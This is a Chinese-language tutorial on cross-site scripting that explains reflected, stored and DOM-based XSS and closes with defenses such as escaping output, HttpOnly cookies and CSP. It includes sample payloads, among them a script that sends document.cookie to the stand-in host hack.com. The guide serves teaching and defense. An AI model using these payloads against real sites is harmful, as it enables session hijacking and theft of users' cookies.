XSS 的定义

XSS(Cross Site Scripting)，指的是跨站脚本攻击，攻击者在网页代码中注入脚本，当用户浏览网页的时候，脚本会在浏览器执行，达到攻击者的目的。常见的获取用户的 Cookie

XSS 的类型

XSS 的类型有三种，分别是反射型 XSS，持久型 XSS，DOM-based XSS，下面分别介绍

反射型 XSS

反射型 XSS 就是通过用户的数据来“反射”给浏览器，攻击者通过诱导用户点击恶意的链接，来获取用户的敏感信息。通常用来盗取 cookie，举个栗子

用户登录了电商网站，用户通过搜索某些内容，回显结果的时候，服务端没有对搜索的内容进行处理，直接输出到页面

比如用户搜索商品内容为 %3Cscript%20src%3D%22http%3A%2F%2Fhack.com%2Fhacker.js%22%3E%3C%2Fscript%3E

解码后的输出搜索的内容到页面，相当于运行了

<script src="http://hack.com/hacker.js"></script>

hacker.js返回的内容是

var img = new Image();
img.src = 'http://hack.com/hack.html?q=' + document.cookie;
document.body.append(img);

用户不小心点击了这张图片，就会导致发送一个请求到攻击者服务器，并且携带 cookie。

存储型 XSS

存储型 XSS，是一种持久化的攻击，比如在发表评论和文章的地方，如果对内容进行直接存储，就可能导致攻击的代码存储到数据库，只要某一用户访问对应的内容时，就会触发 XSS，反射型 XSS 能做到的存储型 XSS 也能做到，主要的区别是否是存储在数据库

DOM-based XSS

基于 DOM 的 XSS，就是利用 DOM 来实现 XSS 攻击，不依赖于服务器返回，比如我们网站基于 url 参数来选择国际化语言

document.write(
  '<option value=1>' +
    document.location.href.substring(
      document.location.href.indexOf('default=') + 8
    ) +
    '</option>'
);

正常情况下的 url 为http://www.some.site/page.html?default=French，浏览器会渲染 option 选项

如果攻击者构造 url 为http://www.some.site/page.html?default=<script>alert(document.cookie)</script>，就会产生攻击，获取到受害者的 cookie

也可以通过 img，script 标签的 src 属性来实现 XSS，因为<img src="https://www.baidu.com?a=document.cookie" /> 也会向攻击者发送一个请求

XSS 的防御

在前端开发的时候，我们需要做好几点

  1. 对用户提交的数据，比如搜索，表单，评论等等，都需要进行过滤和转码后提交，服务器最好也要做响应的处理
  2. 对 js 控制输出到页面代码，比如innerHTML，document.write，eval，等操作。要防止直接输出，要对内容进行转义
  3. 设置 cookie 的HttpOnly属性，这样浏览器就无法通过脚本获取到 cookie 的值
  4. 使用CSP制定浏览器能够执行的可信赖脚本的域名来减少或者消除由 XSS 可能出现的矢量